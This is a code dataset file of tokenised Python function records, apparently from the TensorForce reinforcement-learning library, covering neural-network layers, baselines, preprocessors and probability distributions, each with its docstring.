{"signature": "def __init__(<EOL>self,<EOL>size,<EOL>weights=None,<EOL>bias=True,<EOL>l2_regularization=<NUM_LIT:0.0>,<EOL>l1_regularization=<NUM_LIT:0.0>,<EOL>trainable=True,<EOL>named_tensors=None,<EOL>scope='<STR_LIT>',<EOL>summary_labels=()<EOL>):", "body": "self.size = size<EOL>self.weights_init = weights<EOL>self.bias_init = bias<EOL>self.l2_regularization = l2_regularization<EOL>self.l1_regularization = l1_regularization<EOL>self.trainable = trainable<EOL>super(Linear, self).__init__(named_tensors=named_tensors, scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "Linear layer.\n\nArgs:\n    size: Layer size.\n    weights: Weight initialization, random if None.\n    bias: Bias initialization, random if True, no bias added if False.\n    l2_regularization: L2 regularization weight.\n    l1_regularization: L1 regularization weight.", "id": "f14307:c9:m0"}
{"signature": "def __init__(<EOL>self,<EOL>size=None,<EOL>weights=None,<EOL>bias=True,<EOL>activation='<STR_LIT:relu>',<EOL>l2_regularization=<NUM_LIT:0.0>,<EOL>l1_regularization=<NUM_LIT:0.0>,<EOL>skip=False,<EOL>trainable=True,<EOL>named_tensors=None,<EOL>scope='<STR_LIT>',<EOL>summary_labels=(),<EOL>):", "body": "self.skip = skip<EOL>if self.skip and size is not None:<EOL><INDENT>raise TensorForceError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>self.linear = Linear(<EOL>size=size,<EOL>weights=weights,<EOL>bias=bias,<EOL>l2_regularization=l2_regularization,<EOL>l1_regularization=l1_regularization,<EOL>summary_labels=summary_labels,<EOL>trainable=trainable<EOL>)<EOL>if self.skip:<EOL><INDENT>self.linear_skip = Linear(<EOL>size=size,<EOL>bias=bias,<EOL>l2_regularization=l2_regularization,<EOL>l1_regularization=l1_regularization,<EOL>summary_labels=summary_labels,<EOL>trainable=trainable<EOL>)<EOL><DEDENT>self.nonlinearity = Nonlinearity(summary_labels=summary_labels, **util.prepare_kwargs(activation))<EOL>super(Dense, self).__init__(named_tensors=named_tensors, scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "Dense layer.\n\nArgs:\n    size: Layer size, if None than input size matches the output size of the layer\n    weights: Weight initialization, random if None.\n    bias: If true, bias is added.\n    activation: Type of nonlinearity, or dict with name & arguments\n    l2_regularization: L2 regularization weight.\n    l1_regularization: L1 regularization weight.\n    skip: Add skip connection like ResNet (https://arxiv.org/pdf/1512.03385.pdf),\n          doubles layers and ShortCut from Input to output", "id": "f14307:c10:m0"}
{"signature": "def __init__(<EOL>self,<EOL>size,<EOL>bias=False,<EOL>activation='<STR_LIT:none>',<EOL>l2_regularization=<NUM_LIT:0.0>,<EOL>l1_regularization=<NUM_LIT:0.0>,<EOL>output=None,<EOL>named_tensors=None,<EOL>scope='<STR_LIT>',<EOL>summary_labels=()<EOL>):", "body": "<EOL>self.expectation_layer = Linear(<EOL>size=<NUM_LIT:1>, bias=bias,<EOL>l2_regularization=l2_regularization,<EOL>l1_regularization=l1_regularization,<EOL>summary_labels=summary_labels,<EOL>)<EOL>self.advantage_layer = Linear(<EOL>size=size,<EOL>bias=bias,<EOL>l2_regularization=l2_regularization,<EOL>l1_regularization=l1_regularization,<EOL>summary_labels=summary_labels,<EOL>)<EOL>self.output = output<EOL>self.nonlinearity = Nonlinearity(summary_labels=summary_labels, **util.prepare_kwargs(activation))<EOL>super(Dueling, self).__init__(named_tensors=named_tensors, scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "Dueling layer.\n\n[Dueling Networks] (https://arxiv.org/pdf/1511.06581.pdf)\nImplement Y = Expectation[x] + (Advantage[x] - Mean(Advantage[x]))\n\nArgs:\n    size: Layer size.\n    bias: If true, bias is added.\n    activation: Type of nonlinearity, or dict with name & arguments\n    l2_regularization: L2 regularization weight.\n    l1_regularization: L1 regularization weight.\n    output: None or tuple of output names for ('expectation','advantage','mean_advantage')", "id": "f14307:c11:m0"}
{"signature": "def __init__(<EOL>self,<EOL>size,<EOL>window=<NUM_LIT:3>,<EOL>stride=<NUM_LIT:1>,<EOL>padding='<STR_LIT>',<EOL>bias=True,<EOL>activation='<STR_LIT:relu>',<EOL>l2_regularization=<NUM_LIT:0.0>,<EOL>l1_regularization=<NUM_LIT:0.0>,<EOL>named_tensors=None,<EOL>scope='<STR_LIT>',<EOL>summary_labels=()<EOL>):", "body": "self.size = size<EOL>self.window = window<EOL>self.stride = stride<EOL>self.padding = padding<EOL>self.bias = bias<EOL>self.l2_regularization = l2_regularization<EOL>self.l1_regularization = l1_regularization<EOL>self.nonlinearity = Nonlinearity(summary_labels=summary_labels, **util.prepare_kwargs(activation))<EOL>super(Conv1d, self).__init__(named_tensors=named_tensors, scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "1D convolutional layer.\n\nArgs:\n    size: Number of filters\n    window: Convolution window size\n    stride: Convolution stride\n    padding: Convolution padding, one of 'VALID' or 'SAME'\n    bias: If true, a bias is added\n    activation: Type of nonlinearity, or dict with name & arguments\n    l2_regularization: L2 regularization weight\n    l1_regularization: L1 regularization weight", "id": "f14307:c12:m0"}
{"signature": "def __init__(<EOL>self,<EOL>size,<EOL>window=<NUM_LIT:3>,<EOL>stride=<NUM_LIT:1>,<EOL>padding='<STR_LIT>',<EOL>bias=True,<EOL>activation='<STR_LIT:relu>',<EOL>l2_regularization=<NUM_LIT:0.0>,<EOL>l1_regularization=<NUM_LIT:0.0>,<EOL>named_tensors=None,<EOL>scope='<STR_LIT>',<EOL>summary_labels=()<EOL>):", "body": "self.size = size<EOL>if isinstance(window, int):<EOL><INDENT>self.window = (window, window)<EOL><DEDENT>elif len(window) == <NUM_LIT:2>:<EOL><INDENT>self.window = tuple(window)<EOL><DEDENT>else:<EOL><INDENT>raise TensorForceError('<STR_LIT>'.format(window))<EOL><DEDENT>self.stride = stride<EOL>self.padding = padding<EOL>self.bias = bias<EOL>self.l2_regularization = l2_regularization<EOL>self.l1_regularization = l1_regularization<EOL>self.nonlinearity = Nonlinearity(summary_labels=summary_labels, **util.prepare_kwargs(activation))<EOL>super(Conv2d, self).__init__(named_tensors=named_tensors, scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "2D convolutional layer.\n\nArgs:\n    size: Number of filters\n    window: Convolution window size, either an integer or pair of integers.\n    stride: Convolution stride, either an integer or pair of integers.\n    padding: Convolution padding, one of 'VALID' or 'SAME'\n    bias: If true, a bias is added\n    activation: Type of nonlinearity, or dict with name & arguments\n    l2_regularization: L2 regularization weight\n    l1_regularization: L1 regularization weight", "id": "f14307:c13:m0"}
{"signature": "def __init__(self, size, dropout=None, lstmcell_args={}, named_tensors=None, scope='<STR_LIT>', summary_labels=()):", "body": "self.size = size<EOL>self.dropout = dropout<EOL>self.lstmcell_args = lstmcell_args<EOL>super(InternalLstm, self).__init__(named_tensors=named_tensors, scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "LSTM layer.\n\nArgs:\n    size: LSTM size.\n    dropout: Dropout rate.", "id": "f14307:c14:m0"}
{"signature": "def __init__(self, size, dropout=None, named_tensors=None, scope='<STR_LIT>', summary_labels=(), return_final_state=True):", "body": "self.size = size<EOL>self.dropout = dropout<EOL>self.return_final_state = return_final_state<EOL>super(Lstm, self).__init__(named_tensors=named_tensors, scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "LSTM layer.\n\nArgs:\n    size: LSTM size.\n    dropout: Dropout rate.", "id": "f14307:c15:m0"}
{"signature": "def __init__(self, scope='<STR_LIT>', summary_labels=None):", "body": "self.summary_labels = set(summary_labels or ())<EOL>self.variables = dict()<EOL>self.all_variables = dict()<EOL>self.named_tensors = dict()<EOL>def custom_getter(getter, name, registered=False, **kwargs):<EOL><INDENT>variable = getter(name=name, registered=True, **kwargs)<EOL>if registered:<EOL><INDENT>pass<EOL><DEDENT>elif name in self.all_variables:<EOL><INDENT>assert variable is self.all_variables[name]<EOL>if kwargs.get('<STR_LIT>', True):<EOL><INDENT>assert variable is self.variables[name]<EOL>if '<STR_LIT>' in self.summary_labels:<EOL><INDENT>tf.contrib.summary.histogram(name=name, tensor=variable)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>self.all_variables[name] = variable<EOL>if kwargs.get('<STR_LIT>', True):<EOL><INDENT>self.variables[name] = variable<EOL>if '<STR_LIT>' in self.summary_labels:<EOL><INDENT>tf.contrib.summary.histogram(name=name, tensor=variable)<EOL><DEDENT><DEDENT><DEDENT>return variable<EOL><DEDENT>self.apply = tf.make_template(<EOL>name_=(scope + '<STR_LIT>'),<EOL>func_=self.tf_apply,<EOL>custom_getter_=custom_getter<EOL>)<EOL>self.regularization_loss = tf.make_template(<EOL>name_=(scope + '<STR_LIT>'),<EOL>func_=self.tf_regularization_loss,<EOL>custom_getter_=custom_getter<EOL>)<EOL>", "docstring": "Neural network.", "id": "f14309:c0:m0"}
{"signature": "def tf_apply(self, x, internals, update, return_internals=False):", "body": "raise NotImplementedError<EOL>", "docstring": "Creates the TensorFlow operations for applying the network to the given input.\n\nArgs:\n    x: Network input tensor or dict of input tensors.\n    internals: List of prior internal state tensors\n    update: Boolean tensor indicating whether this call happens during an update.\n    return_internals: If true, also returns posterior internal state tensors\n\nReturns:\n    Network output tensor, plus optionally list of posterior internal state tensors", "id": "f14309:c0:m1"}
{"signature": "def tf_regularization_loss(self):", "body": "return None<EOL>", "docstring": "Creates the TensorFlow operations for the network regularization loss.\n\nReturns:\n    Regularization loss tensor", "id": "f14309:c0:m2"}
{"signature": "def internals_spec(self):", "body": "return dict()<EOL>", "docstring": "Returns the internal states specification.\n\nReturns:\n    Internal states specification", "id": "f14309:c0:m3"}
{"signature": "def get_variables(self, include_nontrainable=False):", "body": "if include_nontrainable:<EOL><INDENT>return [self.all_variables[key] for key in sorted(self.all_variables)]<EOL><DEDENT>else:<EOL><INDENT>return [self.variables[key] for key in sorted(self.variables)]<EOL><DEDENT>", "docstring": "Returns the TensorFlow variables used by the network.\n\nReturns:\n    List of variables", "id": "f14309:c0:m4"}
{"signature": "def get_named_tensor(self, name):", "body": "if name in self.named_tensors:<EOL><INDENT>return True, self.named_tensors[name]<EOL><DEDENT>else:<EOL><INDENT>return False, None<EOL><DEDENT>", "docstring": "Returns a named tensor if available.\n\nReturns:\n    valid: True if named tensor found, False otherwise\n    tensor: If valid, will be a tensor, otherwise None", "id": "f14309:c0:m5"}
{"signature": "def get_list_of_named_tensor(self):", "body": "return list(self.named_tensors)<EOL>", "docstring": "Returns a list of the names of tensors available.\n\nReturns:\n    List of the names of tensors available.", "id": "f14309:c0:m6"}
{"signature": "@staticmethod<EOL><INDENT>def from_spec(spec, kwargs=None):<DEDENT>", "body": "network = util.get_object(<EOL>obj=spec,<EOL>default_object=LayeredNetwork,<EOL>kwargs=kwargs<EOL>)<EOL>assert isinstance(network, Network)<EOL>return network<EOL>", "docstring": "Creates a network from a specification dict.", "id": "f14309:c0:m8"}
{"signature": "def __init__(self, scope='<STR_LIT>', summary_labels=()):", "body": "super(LayerBasedNetwork, self).__init__(scope=scope, summary_labels=summary_labels)<EOL>self.layers = list()<EOL>", "docstring": "Layer-based network.", "id": "f14309:c1:m0"}
{"signature": "def __init__(self, layers, scope='<STR_LIT>', summary_labels=()):", "body": "self.layers_spec = layers<EOL>super(LayeredNetwork, self).__init__(scope=scope, summary_labels=summary_labels)<EOL>self.parse_layer_spec(layer_spec=self.layers_spec, layer_counter=Counter())<EOL>", "docstring": "Single-stack layered network.\n\nArgs:\n    layers: List of layer specification dicts.", "id": "f14309:c2:m0"}
{"signature": "def tf_reset(self):", "body": "pass<EOL>", "docstring": "Resets this preprocessor to some initial state. This method is called whenever an episode ends.\nThis could be useful if the preprocessor stores certain episode-sequence information to do the processing\nand this information has to be reset after the episode terminates.", "id": "f14313:c0:m1"}
{"signature": "def tf_process(self, tensor):", "body": "return tensor<EOL>", "docstring": "Process state (tensor).\n\nArgs:\n    tensor (tf.Tensor): The Tensor to process.\n\nReturns: The pre-processed Tensor.", "id": "f14313:c0:m2"}
{"signature": "def processed_shape(self, shape):", "body": "return shape<EOL>", "docstring": "Shape of preprocessed state given original shape.\n\nArgs:\n    shape (tuple): The original (unprocessed) shape.\n\nReturns: The processed tensor shape.", "id": "f14313:c0:m3"}
{"signature": "def get_variables(self):", "body": "return [self.variables[key] for key in sorted(self.variables)]<EOL>", "docstring": "Returns the TensorFlow variables used by the preprocessor.\n\nReturns:\n    List of variables.", "id": "f14313:c0:m4"}
{"signature": "def reset(self):", "body": "fetches = []<EOL>for processor in self.preprocessors:<EOL><INDENT>fetches.extend(processor.reset() or [])<EOL><DEDENT>return fetches<EOL>", "docstring": "Calls `reset` on all our Preprocessor objects.\n\nReturns:\n    A list of tensors to be fetched.", "id": "f14313:c1:m1"}
{"signature": "def process(self, tensor):", "body": "for processor in self.preprocessors:<EOL><INDENT>tensor = processor.process(tensor=tensor)<EOL><DEDENT>return tensor<EOL>", "docstring": "Process state.\n\nArgs:\n    tensor: tensor to process\n\nReturns: processed state", "id": "f14313:c1:m2"}
{"signature": "def processed_shape(self, shape):", "body": "for processor in self.preprocessors:<EOL><INDENT>shape = processor.processed_shape(shape=shape)<EOL><DEDENT>return shape<EOL>", "docstring": "Shape of preprocessed state given original shape.\n\nArgs:\n    shape: original state shape\n\nReturns: processed state shape", "id": "f14313:c1:m3"}
{"signature": "@staticmethod<EOL><INDENT>def from_spec(spec, kwargs=None):<DEDENT>", "body": "if isinstance(spec, dict):<EOL><INDENT>spec = [spec]<EOL><DEDENT>stack = PreprocessorStack()<EOL>for preprocessor_spec in spec:<EOL><INDENT>preprocessor_kwargs = copy.deepcopy(kwargs)<EOL>preprocessor = util.get_object(<EOL>obj=preprocessor_spec,<EOL>predefined_objects=tensorforce.core.preprocessors.preprocessors,<EOL>kwargs=preprocessor_kwargs<EOL>)<EOL>assert isinstance(preprocessor, Preprocessor)<EOL>stack.preprocessors.append(preprocessor)<EOL><DEDENT>return stack<EOL>", "docstring": "Creates a preprocessing stack from a specification dict.", "id": "f14313:c1:m5"}
{"signature": "def __init__(self, shape, length=<NUM_LIT:2>, add_rank=False, scope='<STR_LIT>', summary_labels=()):", "body": "<EOL>self.length = length<EOL>self.add_rank = add_rank<EOL>self.reset_op = None<EOL>super(Sequence, self).__init__(shape=shape, scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "Args:\n    length (int): The number of states to concatenate. In the beginning, when no previous state is available,\n        concatenate the given first state with itself `length` times.\n    add_rank (bool): Whether to add another rank to the end of the input with dim=length-of-the-sequence.\n        This could be useful if e.g. a grayscale image of w x h pixels is coming from the env\n        (no color channel). The output of the preprocessor would then be of shape [batch] x w x h x [length].", "id": "f14314:c0:m0"}
{"signature": "def __init__(self, shape, weights=(<NUM_LIT>, <NUM_LIT>, <NUM_LIT>), remove_rank=False, scope='<STR_LIT>', summary_labels=()):", "body": "self.weights = weights<EOL>self.remove_rank = remove_rank<EOL>super(Grayscale, self).__init__(shape=shape, scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "Args:\n    weights (tuple): The weights to multiply each color channel with (in order: red, blue, green).\n    remove_rank (bool): If True, will remove the color channel rank from the input tensor.", "id": "f14317:c0:m0"}
{"signature": "def __init__(self, network, scope='<STR_LIT>', summary_labels=()):", "body": "self.network = Network.from_spec(<EOL>spec=network,<EOL>kwargs=dict(summary_labels=summary_labels)<EOL>)<EOL>assert len(self.network.internals_spec()) == <NUM_LIT:0><EOL>self.linear = Linear(size=<NUM_LIT:1>, bias=<NUM_LIT:0.0>, scope='<STR_LIT>', summary_labels=summary_labels)<EOL>super(NetworkBaseline, self).__init__(scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "Network baseline.\n\nArgs:\n    network_spec: Network specification dict", "id": "f14322:c0:m0"}
{"signature": "def __init__(self, conv_sizes, dense_sizes, scope='<STR_LIT>', summary_labels=()):", "body": "network = []<EOL>for size in conv_sizes:<EOL><INDENT>network.append(dict(type='<STR_LIT>', size=size))<EOL><DEDENT>network[<NUM_LIT:0>]['<STR_LIT>'] = <NUM_LIT:5><EOL>network.append(dict(type='<STR_LIT>'))  <EOL>for size in dense_sizes:<EOL><INDENT>network.append(dict(type='<STR_LIT>', size=size))<EOL><DEDENT>super(CNNBaseline, self).__init__(network=network, scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "CNN baseline.\n\nArgs:\n    conv_sizes: List of convolutional layer sizes\n    dense_sizes: List of dense layer sizes", "id": "f14324:c0:m0"}
{"signature": "def __init__(self, scope='<STR_LIT>', summary_labels=None):", "body": "self.summary_labels = set(summary_labels or ())<EOL>self.variables = dict()<EOL>self.all_variables = dict()<EOL>def custom_getter(getter, name, registered=False, **kwargs):<EOL><INDENT>variable = getter(name=name, registered=True, **kwargs)<EOL>if registered:<EOL><INDENT>pass<EOL><DEDENT>elif name in self.all_variables:<EOL><INDENT>assert variable is self.all_variables[name]<EOL>if kwargs.get('<STR_LIT>', True):<EOL><INDENT>assert variable is self.variables[name]<EOL>if '<STR_LIT>' in self.summary_labels:<EOL><INDENT>tf.contrib.summary.histogram(name=name, tensor=variable)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>self.all_variables[name] = variable<EOL>if kwargs.get('<STR_LIT>', True):<EOL><INDENT>self.variables[name] = variable<EOL>if '<STR_LIT>' in self.summary_labels:<EOL><INDENT>tf.contrib.summary.histogram(name=name, tensor=variable)<EOL><DEDENT><DEDENT><DEDENT>return variable<EOL><DEDENT>self.predict = tf.make_template(<EOL>name_=(scope + '<STR_LIT>'),<EOL>func_=self.tf_predict,<EOL>custom_getter_=custom_getter<EOL>)<EOL>self.reference = tf.make_template(<EOL>name_=(scope + '<STR_LIT>'),<EOL>func_=self.tf_reference,<EOL>custom_getter_=custom_getter<EOL>)<EOL>self.loss = tf.make_template(<EOL>name_=(scope + '<STR_LIT>'),<EOL>func_=self.tf_loss,<EOL>custom_getter_=custom_getter<EOL>)<EOL>self.regularization_loss = tf.make_template(<EOL>name_=(scope + '<STR_LIT>'),<EOL>func_=self.tf_regularization_loss,<EOL>custom_getter_=custom_getter<EOL>)<EOL>", "docstring": "Baseline.", "id": "f14325:c0:m0"}
{"signature": "def tf_predict(self, states, internals, update):", "body": "raise NotImplementedError<EOL>", "docstring": "Creates the TensorFlow operations for predicting the value function of given states.\nArgs:\n    states: Dict of state tensors.\n    internals: List of prior internal state tensors.\n    update: Boolean tensor indicating whether this call happens during an update.\nReturns:\n    State value tensor", "id": "f14325:c0:m1"}
{"signature": "def tf_reference(self, states, internals, reward, update):", "body": "return None<EOL>", "docstring": "Creates the TensorFlow operations for obtaining the reference tensor(s), in case of a\ncomparative loss.\n\nArgs:\n    states: Dict of state tensors.\n    internals: List of prior internal state tensors.\n    reward: Reward tensor.\n    update: Boolean tensor indicating whether this call happens during an update.\n\nReturns:\n    Reference tensor(s).", "id": "f14325:c0:m2"}
{"signature": "def tf_loss(self, states, internals, reward, update, reference=None):", "body": "prediction = self.predict(states=states, internals=internals, update=update)<EOL>return tf.nn.l2_loss(t=(prediction - reward))<EOL>", "docstring": "Creates the TensorFlow operations for calculating the L2 loss between predicted\nstate values and actual rewards.\n\nArgs:\n    states: Dict of state tensors.\n    internals: List of prior internal state tensors.\n    reward: Reward tensor.\n    update: Boolean tensor indicating whether this call happens during an update.\n    reference: Optional reference tensor(s), in case of a comparative loss.\n\nReturns:\n    Loss tensor", "id": "f14325:c0:m3"}
{"signature": "def tf_regularization_loss(self):", "body": "return None<EOL>", "docstring": "Creates the TensorFlow operations for the baseline regularization loss/\n\nReturns:\n    Regularization loss tensor", "id": "f14325:c0:m4"}
{"signature": "def get_variables(self, include_nontrainable=False):", "body": "if include_nontrainable:<EOL><INDENT>return [self.all_variables[key] for key in sorted(self.all_variables)]<EOL><DEDENT>else:<EOL><INDENT>return [self.variables[key] for key in sorted(self.variables)]<EOL><DEDENT>", "docstring": "Returns the TensorFlow variables used by the baseline.\n\nReturns:\n    List of variables", "id": "f14325:c0:m5"}
{"signature": "@staticmethod<EOL><INDENT>def from_spec(spec, kwargs=None):<DEDENT>", "body": "baseline = util.get_object(<EOL>obj=spec,<EOL>predefined_objects=tensorforce.core.baselines.baselines,<EOL>kwargs=kwargs<EOL>)<EOL>assert isinstance(baseline, Baseline)<EOL>return baseline<EOL>", "docstring": "Creates a baseline from a specification dict.", "id": "f14325:c0:m6"}
{"signature": "def __init__(self, sizes, scope='<STR_LIT>', summary_labels=()):", "body": "network = []<EOL>for size in sizes:<EOL><INDENT>network.append(dict(type='<STR_LIT>', size=size))<EOL><DEDENT>super(MLPBaseline, self).__init__(network=network, scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "Multi-layer perceptron baseline.\n\nArgs:\n    sizes: List of dense layer sizes", "id": "f14326:c0:m0"}
{"signature": "def __init__(self, baselines, scope='<STR_LIT>', summary_labels=()):", "body": "self.baselines = dict()<EOL>for name in sorted(baselines):<EOL><INDENT>self.baselines[name] = Baseline.from_spec(<EOL>spec=baselines[name],<EOL>kwargs=dict(summary_labels=summary_labels))<EOL><DEDENT>self.linear = Linear(size=<NUM_LIT:1>, bias=<NUM_LIT:0.0>, scope='<STR_LIT>', summary_labels=summary_labels)<EOL>super(AggregatedBaseline, self).__init__(scope, summary_labels)<EOL>", "docstring": "Aggregated baseline.\n\nArgs:\n    baselines: Dict of per-state baseline specification dicts", "id": "f14327:c0:m0"}
{"signature": "def __init__(self, shape, probability=<NUM_LIT:0.5>, scope='<STR_LIT>', summary_labels=()):", "body": "self.shape = shape<EOL>action_size = util.prod(self.shape)<EOL>self.logit = Linear(size=action_size, bias=log(probability), scope='<STR_LIT>', summary_labels=summary_labels)<EOL>super(Bernoulli, self).__init__(shape=shape, scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "Bernoulli distribution.\n\nArgs:\n    shape: Action shape.\n    probability: Optional distribution bias.", "id": "f14328:c0:m0"}
{"signature": "def __init__(self, shape, min_value, max_value, alpha=<NUM_LIT:0.0>, beta=<NUM_LIT:0.0>, scope='<STR_LIT>', summary_labels=()):", "body": "assert min_value is None or max_value > min_value<EOL>self.shape = shape<EOL>self.min_value = min_value<EOL>self.max_value = max_value<EOL>action_size = util.prod(self.shape)<EOL>self.alpha = Linear(size=action_size, bias=alpha, scope='<STR_LIT>', summary_labels=summary_labels)<EOL>self.beta = Linear(size=action_size, bias=beta, scope='<STR_LIT>', summary_labels=summary_labels)<EOL>super(Beta, self).__init__(shape=shape, scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "Beta distribution.\n\nArgs:\n    shape: Action shape.\n    min_value: Minimum value of continuous actions.\n    max_value: Maximum value of continuous actions.\n    alpha: Optional distribution bias for the alpha value.\n    beta: Optional distribution bias for the beta value.", "id": "f14329:c0:m0"}
{"signature": "def __init__(self, shape, num_actions, probabilities=None, scope='<STR_LIT>', summary_labels=()):", "body": "self.num_actions = num_actions<EOL>action_size = util.prod(shape) * self.num_actions<EOL>if probabilities is None:<EOL><INDENT>logits = <NUM_LIT:0.0><EOL><DEDENT>else:<EOL><INDENT>logits = [log(prob) for _ in range(util.prod(shape)) for prob in probabilities]<EOL><DEDENT>self.logits = Linear(size=action_size, bias=logits, scope='<STR_LIT>', summary_labels=summary_labels)<EOL>super(Categorical, self).__init__(shape=shape, scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "Categorical distribution.\n\nArgs:\n    shape: Action shape.\n    num_actions: Number of discrete action alternatives.\n    probabilities: Optional distribution bias.", "id": "f14330:c0:m0"}
{"signature": "def __init__(self, shape, scope='<STR_LIT>', summary_labels=None):", "body": "self.shape = shape<EOL>self.scope = scope<EOL>self.summary_labels = set(summary_labels or ())<EOL>self.variables = dict()<EOL>self.all_variables = dict()<EOL>def custom_getter(getter, name, registered=False, **kwargs):<EOL><INDENT>variable = getter(name=name, registered=True, **kwargs)<EOL>if registered:<EOL><INDENT>pass<EOL><DEDENT>elif name in self.all_variables:<EOL><INDENT>assert variable is self.all_variables[name]<EOL>if kwargs.get('<STR_LIT>', True):<EOL><INDENT>assert variable is self.variables[name]<EOL>if '<STR_LIT>' in self.summary_labels:<EOL><INDENT>tf.contrib.summary.histogram(name=name, tensor=variable)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>self.all_variables[name] = variable<EOL>if kwargs.get('<STR_LIT>', True):<EOL><INDENT>self.variables[name] = variable<EOL>if '<STR_LIT>' in self.summary_labels:<EOL><INDENT>tf.contrib.summary.histogram(name=name, tensor=variable)<EOL><DEDENT><DEDENT><DEDENT>return variable<EOL><DEDENT>self.parameterize = tf.make_template(<EOL>name_=(scope + '<STR_LIT>'),<EOL>func_=self.tf_parameterize,<EOL>custom_getter_=custom_getter<EOL>)<EOL>self.sample = tf.make_template(<EOL>name_=(scope + '<STR_LIT>'),<EOL>func_=self.tf_sample,<EOL>custom_getter_=custom_getter<EOL>)<EOL>self.log_probability = tf.make_template(<EOL>name_=(scope + '<STR_LIT>'),<EOL>func_=self.tf_log_probability,<EOL>custom_getter_=custom_getter<EOL>)<EOL>self.entropy = tf.make_template(<EOL>name_=(scope + '<STR_LIT>'),<EOL>func_=self.tf_entropy,<EOL>custom_getter_=custom_getter<EOL>)<EOL>self.kl_divergence = tf.make_template(<EOL>name_=(scope + '<STR_LIT>'),<EOL>func_=self.tf_kl_divergence,<EOL>custom_getter_=custom_getter<EOL>)<EOL>self.regularization_loss = tf.make_template(<EOL>name_=(scope + '<STR_LIT>'),<EOL>func_=self.tf_regularization_loss,<EOL>custom_getter_=custom_getter<EOL>)<EOL>", "docstring": "Distribution.\n\nArgs:\n    shape: Action shape.", "id": "f14332:c0:m0"}
{"signature": "def tf_parameterize(self, x):", "body": "raise NotImplementedError<EOL>", "docstring": "Creates the tensorFlow operations for parameterizing a distribution conditioned on the\ngiven input.\n\nArgs:\n    x: Input tensor which the distribution is conditioned on.\n\nReturns:\n    tuple of distribution parameter tensors.", "id": "f14332:c0:m1"}
{"signature": "def tf_sample(self, distr_params, deterministic):", "body": "raise NotImplementedError<EOL>", "docstring": "Creates the tensorFlow operations for sampling an action based on a distribution.\n\nArgs:\n    distr_params: tuple of distribution parameter tensors.\n    deterministic: Boolean input tensor indicating whether the maximum likelihood action\n        should be returned.\n\nReturns:\n    Sampled action tensor.", "id": "f14332:c0:m2"}
{"signature": "def tf_log_probability(self, distr_params, action):", "body": "raise NotImplementedError<EOL>", "docstring": "Creates the tensorFlow operations for calculating the log probability of an action for a  \ndistribution.\n\nArgs:\n    distr_params: tuple of distribution parameter tensors.\n    action: Action tensor.\n\nReturns:\n    KL divergence tensor.", "id": "f14332:c0:m3"}
{"signature": "def tf_entropy(self, distr_params):", "body": "raise NotImplementedError<EOL>", "docstring": "Creates the tensorFlow operations for calculating the entropy of a distribution.\n\nArgs:\n    distr_params: tuple of distribution parameter tensors.\n\nReturns:\n    Entropy tensor.", "id": "f14332:c0:m4"}
{"signature": "def tf_kl_divergence(self, distr_params1, distr_params2):", "body": "raise NotImplementedError<EOL>", "docstring": "Creates the tensorFlow operations for calculating the KL divergence between two  \ndistributions.\n\nArgs:\n    distr_params1: tuple of parameter tensors for first distribution.\n    distr_params2: tuple of parameter tensors for second distribution.\n\nReturns:\n    KL divergence tensor.", "id": "f14332:c0:m5"}
{"signature": "def tf_regularization_loss(self):", "body": "return None<EOL>", "docstring": "Creates the tensorFlow operations for the distribution regularization loss.\n\nReturns:\n    Regularization loss tensor.", "id": "f14332:c0:m6"}
{"signature": "def get_variables(self, include_nontrainable=False):", "body": "if include_nontrainable:<EOL><INDENT>return [self.all_variables[key] for key in sorted(self.all_variables)]<EOL><DEDENT>else:<EOL><INDENT>return [self.variables[key] for key in sorted(self.variables)]<EOL><DEDENT>", "docstring": "Returns the tensorFlow variables used by the distribution.\n\nReturns:\n    List of variables.", "id": "f14332:c0:m7"}
{"signature": "@staticmethod<EOL><INDENT>def from_spec(spec, kwargs=None):<DEDENT>", "body": "distribution = util.get_object(<EOL>obj=spec,<EOL>predefined_objects=tensorforce.core.distributions.distributions,<EOL>kwargs=kwargs<EOL>)<EOL>assert isinstance(distribution, Distribution)<EOL>return distribution<EOL>", "docstring": "Creates a distribution from a specification dict.", "id": "f14332:c0:m8"}
{"signature": "def __init__(self, shape, mean=<NUM_LIT:0.0>, log_stddev=<NUM_LIT:0.0>, scope='<STR_LIT>', summary_labels=()):", "body": "self.shape = shape<EOL>action_size = util.prod(self.shape)<EOL>self.mean = Linear(size=action_size, bias=mean, scope='<STR_LIT>', summary_labels=summary_labels)<EOL>self.log_stddev = Linear(size=action_size, bias=log_stddev, scope='<STR_LIT>', summary_labels=summary_labels)<EOL>super(Gaussian, self).__init__(shape=shape, scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "Categorical distribution.\n\nArgs:\n    shape: Action shape.\n    mean: Optional distribution bias for the mean.\n    log_stddev: Optional distribution bias for the standard deviation.", "id": "f14333:c0:m0"}
{"signature": "def __init__(self, scope='<STR_LIT>', summary_labels=None):", "body": "self.summary_labels = set(summary_labels or ())<EOL>self.variables = dict()<EOL>def custom_getter(getter, name, registered=False, **kwargs):<EOL><INDENT>variable = getter(name=name, registered=True, **kwargs)<EOL>if registered:<EOL><INDENT>pass<EOL><DEDENT>elif name in self.variables:<EOL><INDENT>assert variable is self.variables[name]<EOL><DEDENT>else:<EOL><INDENT>assert not kwargs['<STR_LIT>']<EOL>self.variables[name] = variable<EOL><DEDENT>return variable<EOL><DEDENT>self.step = tf.make_template(<EOL>name_=(scope + '<STR_LIT>'),<EOL>func_=self.tf_step,<EOL>custom_getter=custom_getter<EOL>)<EOL>", "docstring": "Creates a new optimizer instance.", "id": "f14334:c0:m0"}
